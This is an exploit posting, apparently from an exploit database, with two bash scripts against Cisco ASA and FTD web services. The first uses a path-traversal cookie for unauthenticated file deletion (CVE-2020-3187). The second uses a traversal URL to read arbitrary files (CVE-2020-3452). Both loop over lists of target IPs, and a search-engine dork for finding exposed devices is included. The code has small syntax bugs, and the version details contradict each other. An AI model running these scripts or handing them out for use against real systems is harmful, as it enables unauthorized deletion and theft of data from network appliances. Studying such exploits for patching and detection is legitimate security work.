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# Exploit Title: Cisco Adaptive Security Appliance Software 9.7 - Unauthenticated Arbitrary File Deletion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author: 0xmmnbassel
# Vendor Homepage: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html#~models
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file deletion
# Version: Cisco ASA Software releases 9.5 and earlier, as well as
# Release 9.7, have reached end of software maintenance. Customers are
# advised to migrate to a supported release that includes the fix for
# this vulnerability.
# CVE : CVE-2020-3187
#!/bin/bash
delete="csco_logo.gif"
helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3187"
echo ""
echo "Usage: $0 -l targets.txt -d csco_logo.gif "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-d file to be deleted, default: ./+CSCOE+/csco_logo.gif"
echo -e "\t-i for single IP test"
exit 1
}
while getopts "l:d:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
d ) delete="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done
#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi
#usage
if [ -z "$input"];
then
status=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
echo "checking if $website has the $delete file"
if [ $status -eq 200 ]; then
echo "$website/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
resultsindv.txt $website/+CSCOE+/session_password.html
delcheck=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $website is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $website/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$website/+CSCOU+/$delete doesn't exist!"
fi
else
while IFS= read -r line
do
echo "Checking $line if file $delete exist.."
#echo $response
status=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ $status -eq 200 ]; then
echo "$line/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
results.txt $line/+CSCOE+/session_password.html
#for no verbosity
#curl -H "Cookie: token=..//+CSCOU+/$delete" -s -o
results.txt $line/+CSCOE+/session_password.html
delcheck=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $line is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $line/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$line/+CSCOU+/$delete doesn't exist!"
fi
done < "$input"
fi
#!/bin/bash
read="%2bCSCOE%2b/portal_inc.lua"
helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3452"
echo ""
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
echo -e "\t-i for single IP test"
exit 1
}
while getopts "l:r:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
r ) read="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done
#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi
#usage
if [ -z "$website"];
then
while IFS= read -r line
do
name=$(echo $line | cut -c9-19)
#echo "testing $line"
filename="$name.txt"
#echo $response
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "400" ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
echo "downloaded!, $line is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
done < "$input"
else
name=$(echo $website | cut -c9-16)
filename="$name.txt"
status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "Bad Request" ]; then
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "downloaded!, $website is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
fi
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